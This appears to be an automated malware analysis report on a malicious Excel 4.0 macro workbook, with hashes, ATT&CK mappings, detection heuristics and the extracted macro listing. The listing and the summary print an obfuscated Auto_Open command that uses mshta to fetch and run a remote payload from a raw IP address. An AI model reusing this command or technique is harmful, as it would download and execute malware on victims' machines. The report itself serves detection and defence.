Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 ed176970d6fa7924…

MALICIOUS

Office (OLE) / .XLSX

62.2 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: bedc8d95ddc94205f19adf9de27cbb66 SHA-1: d90e97ccdd8adebe2ca2f1ae63e4cd541f5b80b5 SHA-256: ed176970d6fa792450c02457a44bb8e14f99351e2381c1ee62b4408a575068cf
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 Service Execution

The sample is an Excel 4.0 macro sheet that uses an Auto_Open entry to execute a command. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a macro-enable lure. The extracted macro defines a string 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html' which is then executed, likely to download a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1374 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     10 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  g
' 0085     11 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  rf
' 0085     23 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Excel Protecte
' 0085     10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  o
' 0085     10 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  a
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  g!K1 
' 0018     73 LABEL : Cell Value, String Constant - SSDGO len=53 ptgStr "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/_.html" 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  o,K25,"SET.NAME("SSDGO","cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html")",""
'  o,K35,[],""
'  o,K44,HALT(),""